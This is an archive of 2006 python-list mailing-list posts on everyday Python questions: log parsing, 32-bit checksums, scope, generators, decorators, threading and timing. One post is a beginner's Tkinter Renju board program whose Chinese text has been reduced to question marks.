In-Reply-To: <mailman.1438.1160128294.10491.python-list@python.org>
References: <mailman.1438.1160128294.10491.python-list@python.org>
Message-ID: <1160165773.205634.211490@c28g2000cwb.googlegroups.com>

Fabian Braennstroem wrote:
> Hi,
>
> I would like to remove certain lines from a log files. I had
> some sed/awk scripts for this, but now, I want to use python
> with its re module for this task.
>
> Actually, I have two different log files. The first file looks
> like:
>
>    ...
>    'some text'
>    ...
>
>        ITER I----------------- GLOBAL ABSOLUTE RESIDUAL -----------------I  I------------ FIELD VALUES AT MONITORING LOCATION  ----------I
>         NO    UMOM     VMOM     WMOM     MASS     T EN     DISS     ENTH       U        V        W        P       TE       ED        T
>          1  9.70E-02 8.61E-02 9.85E-02 1.00E+00 1.61E+01 7.65E+04 0.00E+00  1.04E-01-8.61E-04 3.49E-02 1.38E-03 7.51E-05 1.63E-05 2.00E+01
>          2  3.71E-02 3.07E-02 3.57E-02 1.00E+00 3.58E-01 6.55E-01 0.00E+00  1.08E-01-1.96E-03 4.98E-02 7.11E-04 1.70E-04 4.52E-05 2.00E+01
...

Just a thought, but what about using exceptions - something like:

for line in logfile:
  vals=line.split()
  try:
    no=int(vals[0])
    # parse line as needed
  except ValueError:         #first item is not a number
    pass                           # ignore line, or parse it
separately

Coming from C++, using exceptions in this way still feels a bit creepy
to me, but I've been assured that this is very pythonic, and I'm slowly
adopting this style in my python code.

Parsing the line can be easy too:
   (umom,vmom,wmom,mass...) = map(float,vals[1:])


-matt



From http  Wed Oct 25 21:16:09 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 18:16:09 -0700
Subject: cleaner way to write this?
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<mailman.1218.1161819774.11739.python-list@python.org>
	<roy-8EAFC8.20201525102006@reader2.panix.com>
Message-ID: <7xiri7q3l2.fsf@ruckus.brouhaha.com>

Roy Smith <roy at panix.com> writes:
> Isn't this the kind of thing that the new-fangled "with" statement is 
> supposed to solve?

1) that would require rewriting the wx.TextEntryDialog to have an
exit method.

2) It's not necessarily always the case that you want to destroy the
dialog when the function returns.  You might want to keep the dialog
around for some reason.


From robin at reportlab.com  Wed Oct 25 12:25:32 2006
From: robin at reportlab.com (Robin Becker)
Date: Wed, 25 Oct 2006 17:25:32 +0100
Subject: unsigned 32 bit arithmetic type?
In-Reply-To: <7xu01s9yoz.fsf@ruckus.brouhaha.com>
References: <453F3189.5000502@chamonix.reportlab.co.uk>	<ehndnf$5n4$1@sea.gmane.org>	<mailman.1167.1161773743.11739.python-list@python.org>
	<7xu01s9yoz.fsf@ruckus.brouhaha.com>
Message-ID: <453F8FFC.60104@chamonix.reportlab.co.uk>

Paul Rubin wrote:
> Robin Becker <robin at reportlab.com> writes:
>>> type(nx.array([1,2,3],dtype=nx.uint32)[0])
>>> <type 'numpy.uint32'>
>> great, but do we have a pure python version?
> 
> array.array('L', [1,2,3])
yes that works if @L is unsigned 32 bit. I guess >L is always 4 bytes. Part of 
my confusion comes from not realizing all the different 64 bit models. In python 
I can get away with the following

	def add32(x, y):
		"Calculate (x + y) modulo 2**32"
		return ((x&0xFFFFFFFFL)+(y&0xFFFFFFFFL)) & 0xffffffffL

	def calcChecksum(data):
		"""Calculates TTF-style checksums"""
		if len(data)&3: data = data + (4-(len(data)&3))*"\0"
		sum = 0
		for n in unpack(">%dl" % (len(data)>>2), data):
			sum = add32(sum,n)
		return sum

but my tests sometimes look a bit odd.

eg
	self.assertEquals(add32(10, -6), 4)
	self.assertEquals(add32(6, -10), -4&0xFFFFFFFFL)
	self.assertEquals(add32(0x80000000L, -1), 0x7FFFFFFF)
	self.assertEquals(add32(0x7FFFFFFF, 1), 0x80000000L)

-- 
Robin Becker



From johnjsal at NOSPAMgmail.com  Sun Oct  1 13:35:52 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Sun, 01 Oct 2006 13:35:52 -0400
Subject: question about scope
In-Reply-To: <mailman.1054.1159722590.10491.python-list@python.org>
References: <451f2fa7$0$14757$c3e8da3@news.astraweb.com>	<mailman.1025.1159679073.10491.python-list@python.org>	<451f52f1$0$1803$c3e8da3@news.astraweb.com>	<4KITg.18490$Ij.7035@newssvr14.news.prodigy.com>	<451ff246$0$30811$c3e8da3@news.astraweb.com>
	<mailman.1054.1159722590.10491.python-list@python.org>
Message-ID: <451ffcc6$0$14734$c3e8da3@news.astraweb.com>

Steve Holden wrote:
> John Salerno wrote:
>> James Stroud wrote:
>>
>>
>>> This is because that list is an attribute of the class. Instances have a 
>>> reference of this class attribute, but it can be replaced by an 
>>> attribute of the instance with self (self is a reference to the instance 
>>> and not the class. This example might help:
>>
>> Ah, I see! So within my create_menubar() method, would it better to 
>> refer to menu_items as DataAccessFrame.menu_items? Or does it not matter 
>> in this case, since I'm not reassigning it per instance?
> 
> I'd prefer to use a self-relative reference, though either works in your 
> example. That way the code will work for subclasses with different menus 
> too. Perhaps not relevant in your case, but a general point.
> 
> regards
>   Steve

Thanks!


From f.braennstroem at gmx.de  Sat Oct  7 06:09:03 2006
From: f.braennstroem at gmx.de (Fabian Braennstroem)
Date: Sat, 7 Oct 2006 12:09:03 +0200
Subject: Scientific computing and data visualization.
References: <mailman.85.1157564525.5279.python-list@python.org>
	<1157574433.664189.217960@m73g2000cwd.googlegroups.com>
	<mailman.100.1157579667.5279.python-list@python.org>
	<1157652641.877725.223880@h48g2000cwc.googlegroups.com>
	<45265EC2.1020100@gmx.de>
Message-ID: <eg7ubu$mli$1@sea.gmane.org>

Hi,

* Carl Friedrich Bolz <cfbolz at gmx.de> wrote:
> bernhard.voigt at gmail.com wrote:
>> A commonly used data analysis framework is root (http://root.cern.ch).
>> It offers a object oriented C++ framework with all kind of things one
>> needs for plotting and data visualization. It comes along with PyRoot,
>> an interface making the root objects available to Python.
>> Take a look at the root manual for examples, it also contains a section
>> describing the use of PyRoot.
>
> I can definitively second that. ROOT is a bit hard to learn but very,
> very powerful and PyRoot is really a pleasure to work with.

It sounds interesting. Right now, I use matplotlib for
2D plotting and vtk for 3D. Do you have any experience and
can give some recommendations?

Greetings!
 Fabian



From Leo.Kislov at gmail.com  Wed Oct 25 18:02:14 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 25 Oct 2006 15:02:14 -0700
Subject: How to identify generator/iterator objects?
In-Reply-To: <mailman.1207.1161811920.11739.python-list@python.org>
References: <453FBCCE.8090306@sbcglobal.net>
	<mailman.1207.1161811920.11739.python-list@python.org>
Message-ID: <1161813734.420234.83220@e3g2000cwe.googlegroups.com>


Michael Spencer wrote:
> Kenneth McDonald wrote:
> > I'm trying to write a 'flatten' generator which, when give a
> > generator/iterator that can yield iterators, generators, and other data
> > types, will 'flatten' everything so that it in turns yields stuff by
> > simply yielding the instances of other types, and recursively yields the
> > stuff yielded by the gen/iter objects.
> >
> > To do this, I need to determine (as fair as I can see), what are
> > generator and iterator objects. Unfortunately:
> >
> >  >>> iter("abc")
> > <iterator object at 0x61d90>
> >  >>> def f(x):
> > ...     for s in x: yield s
> > ...
> >  >>> f
> > <function f at 0x58230>
> >  >>> f.__class__
> > <type 'function'>
> >
> > So while I can identify iterators, I can't identify generators by class.
> >
> > Is there a way to do this? Or perhaps another (better) way to achieve
> > this flattening effect? itertools doesn't seem to have anything that
> > will do it.
> >
> > Thanks,
> > Ken
> I *think* the only way to tell if a function is a generator without calling it
> is to inspect the compilation flags of its code object:
>
>   >>> from compiler.consts import CO_GENERATOR
>   >>> def is_generator(f):
>   ...     return f.func_code.co_flags & CO_GENERATOR != 0
>   ...
>   >>> def f1(): yield 1
>   ...
>   >>> def f2(): return 1
>   ...
>   >>> is_generator(f1)
>   True
>   >>> is_generator(f2)
>   False
>   >>>

It should be noted that this checking is completely irrelevant for the
purpose of writing flatten generator. Given

def inc(n):
    yield n+1

the following conditions should be true:

list(flatten([inc,inc])) == [inc,inc]
list(flatten([inc(3),inc(4)]) == [4,5]

  -- Leo



From eurleif at ecritters.biz  Wed Oct 25 08:44:07 2006
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Wed, 25 Oct 2006 08:44:07 -0400
Subject: Sending Dictionary via Network
In-Reply-To: <ehnapb$s6p$1@news.al.sw.ericsson.se>
References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com>
	<453e9ba0$0$3276$426a34cc@news.free.fr>
	<1161732155.264210.77250@f16g2000cwb.googlegroups.com>
	<ehnapb$s6p$1@news.al.sw.ericsson.se>
Message-ID: <453f5b4b$0$13814$4d3efbfe@news.sover.net>

Frithiof Andreas Jensen wrote:
>> "mumebuhi" <mumebuhi at gmail.com> wrote in message
> news:1161732155.264210.77250 at f16g2000cwb.googlegroups.com...
>> The simplejson module is really cool and simple to use. This is great!
> 
> JUST what I need for some configuration files!!
> Thanks for the link (die, configparse, dieee).


I would personally use YAML for configuration files instead of JSON, 
because it's more human-readable. But it's a matter of personal preference.


From sjdevnull at yahoo.com  Sat Oct 21 18:16:44 2006
From: sjdevnull at yahoo.com (sjdevnull at yahoo.com)
Date: 21 Oct 2006 15:16:44 -0700
Subject: Decorators and how they relate to Python - A little insight
	please!
In-Reply-To: <1161378810.977987.88220@m7g2000cwm.googlegroups.com>
References: <1161281064.704992.100410@e3g2000cwe.googlegroups.com>
	<1161322723.451426.305480@m7g2000cwm.googlegroups.com>
	<mailman.814.1161326773.11739.python-list@python.org>
	<1161378810.977987.88220@m7g2000cwm.googlegroups.com>
Message-ID: <1161469003.945889.46040@m7g2000cwm.googlegroups.com>

Jerry wrote:
> Thanks to everyone that resonded.  I will have to spend some time
> reading the information that you've provided.
>
> To Fredrik, unfortunately yes.  I saw the examples, but couldn't get my
> head wrapped around their purpose.

You're probably looking at the newfangled @decorator syntax.

Things were a lot clearer when decorators were called explicitly:

class foo(object):
   def bar(self):
      ...
   bar = classmethod(bar)

That makes it a lot more obvious that classmethod is simply a
higher-order function (that is, it takes a function as an argument and
returns a function).

It is equivalent to the newer:

class foo(object):
   @classmethod
   def bar(self):
      ...



From robin at reportlab.com  Thu Oct 26 04:52:50 2006
From: robin at reportlab.com (Robin Becker)
Date: Thu, 26 Oct 2006 09:52:50 +0100
Subject: unsigned 32 bit arithmetic type?
In-Reply-To: <1161801520.091880.290030@e3g2000cwe.googlegroups.com>
References: <mailman.1162.1161769345.11739.python-list@python.org>	<453F4A52.3050200@v.loewis.de>	<mailman.1174.1161777956.11739.python-list@python.org>	<1161797145.981948.123730@b28g2000cwb.googlegroups.com>	<mailman.1190.1161798506.11739.python-list@python.org>
	<1161801520.091880.290030@e3g2000cwe.googlegroups.com>
Message-ID: <45407762.8090404@chamonix.reportlab.co.uk>

sturlamolden wrote:
> Robin Becker wrote:
> 
>> it's probably wonderful, but I don't think I can ask people to add numpy to the
>> list of requirements for reportlab :)
> 
........
> This was Matlab, but the same holds for Python and NumPy. The overhead
> in the first code sniplet comes from calling the interpreter inside a
> tight loop. That is why loops are the root of evilness when doung CPU
> bound tasks in an interpreted language. I would think that 9 out of 10
> tasks most Python users think require a C extension is actually more
> easily solved with NumPy. This is old knowledge from the Matlab
> community: even if you think you need a "MEX file" (that is, a C
> extension for Matlab), you probably don't. Vectorize and it will be
> fast enough.
> 

I think you're preaching to the converted. The very first serious thing I did in 
python involved a generational accounting model calculation that was translated 
from matlab into Numeric/python. It ran about 10 times faster than matlab and 
about 5 times faster than a matlab compiler.
-- 
Robin Becker



From pat at nystromengineering.com  Tue Oct 17 19:34:10 2006
From: pat at nystromengineering.com (Pat Nystrom)
Date: Tue, 17 Oct 2006 16:34:10 -0700
Subject: Boa Constructor error: "No section:editor"
Message-ID: <45356872.7050408@nystromengineering.com>

Hi,

In case you haven't solved this already, the problem seems to be an 
empty or corrupt config file - \documents and 
settings\username\.boa-constructor\Explorer.msw.cfg. (at least under 
windows - don't know where it'd be in linux/elsewhere) When I deleted 
it, the next invocation of boa worked fine.

Good luck!
Pat


From gerrit at nl.linux.org  Sat Oct 21 18:23:00 2006
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Sun, 22 Oct 2006 00:23:00 +0200
Subject: A Comparison Of Dynamic and Static Languiges
In-Reply-To: <eY$5v#T9GHA.2288@TK2MSFTNGP05.phx.gbl>
References: <1161455284.563900.320430@m7g2000cwm.googlegroups.com>
	<eY$5v#T9GHA.2288@TK2MSFTNGP05.phx.gbl>
Message-ID: <20061021222300.GA5767@topjaklont.student.utwente.nl>

On 2006-10-21 20:41:42 +0200, Scott M. wrote:
> Also, widely posting your real (unaltered) email address in forums like this 
> is a sure way to get noticed by spammers.

This newsgroup is mirrored by a mailing-list, so many people use their real
address. The solution to spam is spamfiltering (spambayes), not hiding ones
address on the internet.

Gerrit.


From fredrik at pythonware.com  Fri Oct 27 11:26:29 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 27 Oct 2006 17:26:29 +0200
Subject: How the event list be sent to EventManager?
In-Reply-To: <1161960779.274517.116730@i3g2000cwc.googlegroups.com>
References: <1161844141.057735.252310@e3g2000cwe.googlegroups.com>	<mailman.1241.1161845067.11739.python-list@python.org>
	<1161960779.274517.116730@i3g2000cwc.googlegroups.com>
Message-ID: <eht8f3$1mh$1@sea.gmane.org>

steve wrote:

> Can an argument to reference an object's attribute??

sorry, cannot parse that sentence.

the arguments to a method are objects, and objects have attributes.  why 
do you find this surprising?

</F>



From jdlists at gmail.com  Wed Oct 18 23:12:30 2006
From: jdlists at gmail.com (jdlists at gmail.com)
Date: 18 Oct 2006 20:12:30 -0700
Subject: Converting existing module/objects to threads
In-Reply-To: <1161225648.047155.163200@h48g2000cwc.googlegroups.com>
References: <1161219746.574285.188930@m7g2000cwm.googlegroups.com>
	<1161225648.047155.163200@h48g2000cwc.googlegroups.com>
Message-ID: <1161227550.254069.254980@e3g2000cwe.googlegroups.com>


martdi wrote:
> jdlists at gmail.com wrote:
> > I have inheirted some existing code, that i will explain in a moment,
> > have needed to extend and ultimately should be able to run in threads.
> > I've done a bunch of work with python but very little with threads and
> > am looking for some pointers on how to implement, and if the lower
> > level modules/objects need to be rewritten to use threading.local for
> > all local variables.
> >
> > I have a module that communicates with a hardware device, which reads
> > data off of sensors, that can only talk with one controller at a time.
> > The controller (my module) needs to (in its simplest form) init,
> > configure the device, request data, and write out xml, sleep, repeat.
> >
> > The new request is that the device needs to be queried until a
> > condition is true, and then start requesting data.  So an instance of a
> > controller needs to be deadicated to a hardware device forever, or
> > until the program ends....which ever comes first.
> >
> > This currently works in a non-threaded version, but only for one device
> > at a time, there is a need to create a single windows(yeach) service
> > that talks to many of these devices at once.  I don't need worker
> > threads that handle seperate portions of the entire job, i need a
> > single application to spawn multiple processes to run through the
> > entire communication from configure to report, sleep until the next
> > interval time and run again.  The communication could last from 1
> > minute to 10 minutes before it ends.
> >
> >
> >   Here is the code layout in pseudocode.
> >
> > module.Object - controller.Main - handles all socket communications
> >
> > class subcontroller(controller.Main):
> >   def __init__(self,id,configurationFile):
> >    controller.Main.__init__(self)
> >    // instantiate variables and local objects that handle
> > configuration, logic and data output
> >
> >   def configure(self,configurationFile):
> >     //read configurationFile and configure device
> >
> >   def process(self):
> >     while 1:
> >       //based on configuration file, query the device until condition
> > is true and then write xml, sleep until time to repeat and run again.
> >
> > within controller there are 5 objects and subcontroller is a sinlge
> > object that loads other objects from the inherited controller.System
> >
> > I'm trying to figure out how difficult it is going to be to convert
> > this to a threaded application.  The original controller.Main is built
> > to talk to devices in series, never in parallel. so no objects are
> > considered to be thread safe, but no instance of any of the objects
> > should need to share resources with any other instance of teh same
> > object.  they would all have unique configuration files and talk to
> > devices on unique ip/ports.
> >
> > on a unix system, forking,while potentially not optimal, would be a
> > fine solution, unfortunantely this needs to run on windows.
> >
> > I know i have left out many details, but hopefully this is enough to at
> > least enable some kind soles to lend an opinnion or two.
> >
> > many thanks
> > jd
>
> Taking a look at asyncore could be worthwhile, but if you want to
> implement it with threads, you may be able to do it this way:
>
> In your main file, from where you start the program, let's call it
> main:
>
> main(self)
> Load Required configuration
> spawn threads (1 for each controller)
> define a queue object from module queue.queue used for communication
> with threads
> enter an infinite loop that checks for the conditions
>     once conditions are met, notify the proper thread
>
>
> class ControllerThread(threading.Thread):
>     def __init__(self):
>         define a queue here, to process messages from the main
>         call threading.Thread.__init__(self)
>
>     define method to load config for thread objects
>     (you might want to pass an argument to init to load your configs
> from a file)
>     (you might also want to pass the queue of the main program to the
> thread to send it messages)
>     define methods to post messages to the queue like read, send to the
> machine, stop, ...
>
>     define the run method that is what will be called when you start
> your thread.
>         this method should enter an infinite loop that will check if
> something has to be done (check in the queue).
>
>
>
>
>
> hope this might help you
> good luck

thanks for the comments.  the ControllerThread already extends a class.
 does this cause problems with classes that must extent
threading.Thread.  Normally it should not matter, but with threads i'm
unsure.  Should i just instantiate the object that i'm normally
extending in the ControllerThread.__init__, and call it from the
self.classthatusedtoextend.method(), or does it not matter.

again, thanks.



From deets at nospam.web.de  Wed Oct 11 10:43:34 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Wed, 11 Oct 2006 16:43:34 +0200
Subject: hundreds of seconds?
References: <1160577496.366622.310080@i3g2000cwc.googlegroups.com>
Message-ID: <4p4e8mFgj24eU1@uni-berlin.de>

eur.van.andel at gmail.com wrote:

> Hi all
> 
> How can I access partial seconds on the system clock?
> 
> I measure air speed and water flow in a heat-exchanger test stand and
> count pulses from both water meter and air speed meter. I divide the
> amount of these counts over a certain interval with the time of that
> interval. Since I only have seconds, I need to wait 100 seconds for may
> calculation is I want a precision of 1%.
> 
> The radiator fan that I use can't stand these long intervals, 'cause I
> run it with 24V and 50 Amps to get decent airflow (10m/s) through my
> heat exchanger.
> 
> Again: how do I get the hundreds of seconds from the system clock?
> 
> In Pascal it was:  GetTime( Hr1, Min1, Sec1, cSec1);  (yes, I'm that
> old).

time.time() returns the system time in seconds since the epoch (1970). The
fractional part is relevant.

However, be aware that your OS may limit the precision here. I'm not sure,
but I think Windows for example doesn't get faster than 10th or 100th of a
second.

For more precise timing, you might need a special library/extension that
works with the cpu timer register or something like that.

Diez


From mpeters42 at gmail.com  Wed Oct  4 01:05:46 2006
From: mpeters42 at gmail.com (Mark Peters)
Date: 3 Oct 2006 22:05:46 -0700
Subject: python html rendering
In-Reply-To: <mailman.1200.1159912518.10491.python-list@python.org>
References: <mailman.1200.1159912518.10491.python-list@python.org>
Message-ID: <1159938346.008753.167310@i42g2000cwa.googlegroups.com>

> Hi, Im looking for a way to display some python code
> in html: with correct indentation, possibly syntax hiliting, dealing
> correctly with multi-line comment, and... generating valid html code if
> the python code itself deals with html (hence manipulates tag litterals.
> Thanks for your help!

I haven't used it, but these seem promising:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/252170
http://silvercity.sourceforge.net/

Hope it helps.



From wildemar at freakmail.de  Wed Oct  4 05:34:29 2006
From: wildemar at freakmail.de (Wildemar Wildenburger)
Date: Wed, 04 Oct 2006 11:34:29 +0200
Subject: What kind of program is this
In-Reply-To: <efvqfm$rst$1@sea.gmane.org>
References: <1159938713.660421.276860@m7g2000cwm.googlegroups.com>
	<efvqfm$rst$1@sea.gmane.org>
Message-ID: <45238025.9000403@freakmail.de>

Fredrik Lundh wrote:
> John Smith wrote:
>> what kind of program is this?
> 
>     http://en.wikipedia.org/wiki/JAPH

You computer guys crack me up!
:D

wildemar


From dhhoa1 at student.monash.edu  Mon Oct 30 00:15:26 2006
From: dhhoa1 at student.monash.edu (Hieu Hoang)
Date: Mon, 30 Oct 2006 16:15:26 +1100
Subject: Very simple request about argument setting.
Message-ID: <f88ae3bd36c6.36c6f88ae3bd@monash.edu.au>

Hi,

The shuf() function returns two values: x and foo.
The command
>>> x,foo,bar=shuf(1,2,3,4,5,6,7,8)
becomes
>>> x,foo,bar=x,foo

So, this command assigns 2 values (x and foo) to 3 variables (x, foo 
and bar), which raises that exception. I'm not sure why python says 
"need more than 2 
values to unpack" not "need 3 values" though.

Hope this help,
Rooy


From FS.Jason at gmail.com  Thu Oct 26 08:39:42 2006
From: FS.Jason at gmail.com (FS.Jason at gmail.com)
Date: 26 Oct 2006 05:39:42 -0700
Subject: my first software
Message-ID: <1161866381.967287.30490@m7g2000cwm.googlegroups.com>

I am a beginner of programming and started to learn Python a week ago.
last 3 days, i write this little tool for Renju.if you have any advice
on my code,please tell me
ps:sorry for my poor english
bow.

#!C:\\Python25
# -*- coding: GBK -*-
from Tkinter import *
import os
import tkFileDialog
import sys
import re
from tkMessageBox import *
import win32clipboard

root = Tk()

interator = 0
done = []
donebac = []
mark = []
step = []
beensaved = 0
code = ''
pastes = ''
mainname = ''
button_frame = Frame(root,width= 640,height = 50)
button_frame.pack(fill = BOTH)

class main_frame(Frame):


    def __init__( self, master = None):

        Frame.__init__( self ,master)
        self.master.geometry( '640x685')
        self.master.title(u'PALALA   speeder-x?')

        self.pack(expand = YES, fill = BOTH)

        self.myCanvas = Canvas(self, bg = '#f8dc59')
        self.myCanvas.pack(expand = YES, fill = BOTH)
        for x in range(40, 640, 40 ):
            for y in range(40,640,40):
                self.myCanvas.create_oval(x,y,x,640-y,fill = 'black')
                self.myCanvas.create_oval(x,y,640-x,y,fill = 'black')

         #creat 5 masks
        self.myCanvas.create_oval(155,155,165,165,fill = 'black', tags
= 'circle')
        self.myCanvas.create_oval(155,475,165,485,fill = 'black', tags
= 'circle')
        self.myCanvas.create_oval(475,155,485,165,fill = 'black', tags
= 'circle')
        self.myCanvas.create_oval(475,475,485,485,fill = 'black', tags
= 'circle')
        self.myCanvas.create_oval(315,315,325,325,fill = 'black', tags
= 'circle')

        for x in range(40,640,40):
            self.myCanvas.create_text(15, x, text = 16-x/40 ,font =
'Times 16')
        for x in range(40,640,40):
            charlist =
['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O']
            self.myCanvas.create_text(x, 625,text
=charlist[x/40-1],font = 'Times 16')

mainframe = main_frame(master = root)



def clickevent(event):
    global interator
    global done
    global mark
    global step
    global beensaved
    if 20 < event.x < 620 and 20 < event.y < 620:
         event.x = event.x + 20 - (event.x + 20) % 40
         event.y = event.y + 20 - (event.y + 20) % 40

         charlist =
['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O']

         for item in done:
            if item ==  (charlist[event.x / 40 -1], 16 - event.y / 40):

                return
            print item

         done.append((charlist[event.x / 40 -1], 16 - event.y / 40))

         if (interator % 2) == 0:
             mark.append(mainframe.myCanvas.create_oval(event.x-15,
event.y-15, event.x+15, event.y+15, fill = 'black', tags = 'circle'))
             step.append(mainframe.myCanvas.create_text(event.x,
event.y, text = interator + 1, fill = 'red', font = 'Simsun 16'))
         else:
             mark.append(mainframe.myCanvas.create_oval(event.x-15,
event.y-15, event.x+15, event.y+15, fill = 'white', tags = 'circle'))
             step.append(mainframe.myCanvas.create_text(event.x,
event.y, text = interator + 1, fill = 'red', font = 'Simsun 16'))



         interator = interator + 1
         print done
    beensaved = 0
def undo(event):

    global interator
    global mark
    global step
    global done
    global beensaved
    if interator > 0:
         mainframe.myCanvas.delete(mark[interator - 1])
         del mark[interator - 1]
         mainframe.myCanvas.delete(step[interator - 1])
         del step[interator - 1]
         del done[interator - 1]
         interator = interator - 1
    beensaved = 0
def savefile():

    global done
    global donebac
    global mainname
    global beensaved

    if done == []:
        info_blank()
        return

    if beensaved == 0 and mainname == '':
        filename = tkFileDialog.asksaveasfilename(filetypes =
[('savefile','*.txt')], initialdir = './')
    else:
        filename = mainname

    s = ''

    for i in range (0,len(done) - 1):
        s = s +str(done[i][0]) + str(done[i][1]) + '\n'
    s = s + str(done[len(done) - 1][0]) + str(done[len(done) - 1][1])



    if filename:
        filename = re.sub('.txt','',filename)
        savefile = open(filename + '.txt', 'w')
        savefile.write(s)
        savefile.close()
        beensaved = 1
        mainname = filename
        donebac = done
def saveasfile():
    global done
    global donebac
    global mainname
    global beensaved

    if done == []:
        info_blank()
        return

    filename = tkFileDialog.asksaveasfilename(filetypes =
[('savefile','*.txt')], initialdir = './')
    s = ''

    for i in range (0,len(done) - 1):
        s = s +str(done[i][0]) + str(done[i][1]) + '\n'
    s = s + str(done[len(done) - 1][0]) + str(done[len(done) - 1][1])

    if filename:
        filename = re.sub('.txt','',filename)
        savefile = open(filename + '.txt', 'w')
        savefile.write(s)
        savefile.close()
        beensaved = 1
        mainname = filename
        donebac = done

def stringTocode(s):
    global mark
    global step
    global done
    global interator
    global mainname
    global beensaved
    s = s.upper()
    mistake1 = re.compile('[P-Z]+')
    if mistake1.search(s):

showinfo(u'????',u'??????A-O,???????^^')
        return
    mistake2 = re.compile('[A-O]+[A-O]+')
    if mistake2.search(s):

showinfo(u'????',u'ft,????????????!!')
        return
    mistake3 = re.compile('[A-O]+0')
    if mistake3.search(s):
        showinfo(u'????',u'?????0?????^^')
        return
    s = re.sub(' ','',s)
    s = re.sub('[0-9]+[0-9]*[0-9]*[,.]+','',s)
    s = re.sub('\W','',s)
    #s = re.sub('[a-z]','[A-Z]', s)
    search = re.compile('[A-O]+[0-9]+[0-5]*')
    s = search.findall(s)
    interator = len(s)
    charlist =
['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O']

    for i in range (0, len(s)):
        x = s[i][0]
        if len(s[i]) == 3:
            y = int(s[i][1] + s[i][2])
            done.append((x , y))
        else:
            y = int(s[i][1])
            done.append((x , y))

        for j in range(0, len(charlist)):
            if x == charlist[j]:
                x = j
        x = (x + 1) * 40
        y = (16 - y) * 40

        if i%2 == 0:
            mark.append(mainframe.myCanvas.create_oval(x-15, y-15,
x+15, y+15, fill = 'black', tags = 'circle'))
            step.append(mainframe.myCanvas.create_text(x, y, text = i +
1, fill = 'red', font = 'Simsun 12'))
        else:
            mark.append(mainframe.myCanvas.create_oval(x-15, y-15,
x+15, y+15, fill = 'white', tags = 'circle'))
            step.append(mainframe.myCanvas.create_text(x, y, text = i +
1, fill = 'red', font = 'Simsun 12'))
    print done


def openfile():
    global mark
    global step
    global done
    global interator
    global mainname
    global beensaved

    if len(done) != 0 and beensaved == 0 and
askyesno(u'??',u'?????????'):
            saveasfile()

    filename = tkFileDialog.askopenfilename(filetypes = ['* {.txt}'],
initialdir = './')

    if filename:
        beensaved = 1
        clean()

        openedfile = open(filename, 'r')
        openedfile.seek(0)
        filecon = openedfile.read()
        stringTocode(filecon)
        mainname = filename
        beensaved = 1

def info():
    showinfo(u'??palala' ,u'For my sweat heart azalea\n\n??:
Jason  @ 2006.10\n\n??: Python\n\nVersion: 1.0\n\n????\n\n\
????????\n\n????????\n\nfs.Jason at gmail.com)

def info_blank():
    showinfo(u'-,-',u'??????')

def copy():

    if done == []:
        info_blank()
        return

    s = ''

    for i in range (0,len(done) - 1):
        s = s +str(done[i][0]) + str(done[i][1]) + '\n'
    s = s + str(done[len(done) - 1][0]) + str(done[len(done) - 1][1])

    root.clipboard_clear()
    root.clipboard_append(s)

def clean():
    global done
    global beensaved
    global mark
    global step
    global interator

    if len(done) != 0 and beensaved == 0 and
askyesno(u'??',u'?????????'):
            saveasfile()
    for i in range (0, interator):
        mainframe.myCanvas.delete(mark[i])
        mainframe.myCanvas.delete(step[i])
    mark = []
    step = []
    done = []
    interator = 0
    beensaved = 1

def paste():
    global pastes
    global done
    global beensaved
    if len(done) != 0 and beensaved == 0 and
askyesno(u'??',u'?????????'):
            saveasfile()


    beensaved = 1
    clean()

    win32clipboard.OpenClipboard(0)
    i =
win32clipboard.IsClipboardFormatAvailable(win32clipboard.CF_TEXT)
    if i == 0:
        return
    pastes = win32clipboard.GetClipboardData()
    win32clipboard.CloseClipboard()



    stringTocode(pastes)
    beensaved = 0
def Help():

showinfo(u'??',u'1.?????\n\n2.??PALALA\n\n3.?????\n\n4.?????\n\nps:??????,?????????^^')
#def crazy():
 #   os.system('C:\\WINDOWS\\system32\\debug.exe < .\tcl\code.txt')


open_button = Button(button_frame, text = u'??',
padx=2,pady=2,command = openfile )
open_button.config(font=('Simsun', 10))
open_button.pack(side = LEFT)
save_button = Button(button_frame,text = u'??',padx=2,pady=2,
command = savefile )
save_button.config(font=('Simsun', 10))
save_button.pack(side = LEFT)

saveas_button = Button(button_frame, text = u'??',padx=2,pady=2,
command = saveasfile)
saveas_button.config(font=('Simsun', 10))
saveas_button.pack(side = LEFT)

clipboard_button = Button(button_frame, text = u'??',padx=2,pady=2,
command = copy)
clipboard_button.config(font=('Simsun', 10))
clipboard_button.pack(side = LEFT)

import_button = Button(button_frame, text = u'??',padx=2,pady=2,
command = paste)
import_button.config(font=('Simsun', 10))
import_button.pack(side = LEFT)

cleanscreen_button = Button(button_frame, text =
u'??',padx=2,pady=2, command = clean)
cleanscreen_button.config(font=('Simsun', 10))
cleanscreen_button.pack(side = LEFT)


info_button = Button(button_frame, text = u'??',padx=2,pady=2,
command = info)
info_button.config(font=('Simsun', 10))
info_button.pack(side = RIGHT)

helpinfo = Button(button_frame, text = u'??',padx=2,pady=2, command
= Help)
helpinfo.config(font=('Simsun', 10))
helpinfo.pack(side = RIGHT)


mainframe.myCanvas.bind('<Button-1>', clickevent)
mainframe.myCanvas.bind('<Button-3>', undo)

root.mainloop()



From nurmi at dvo.ru  Mon Oct  2 00:49:05 2006
From: nurmi at dvo.ru (E.Nurminski)
Date: Mon, 2 Oct 2006 15:49:05 +1100 (VLAST)
Subject: strange append
Message-ID: <Pine.LNX.4.63.0610021541460.23448@babylon.iacp.dvo.ru>


Hello to all good people

I am new to the great Py so am quite puzzled by the following code

---------------

res = []
x = [ 1, 1 ]
for i in xrange(0,5):
	res.append(x)
	x[1] = x[1] + 1
	print "x = ", x
	print "res = ", res

---------------

Looks like it puts smth like reference to 'x' into 'res' list, instead of 
value. But if I want a value should I use a different method or what ?

Evgeni

P.S. Could not easily find the issue in the manual/tutorial can you point 
me out to smth relevant ?



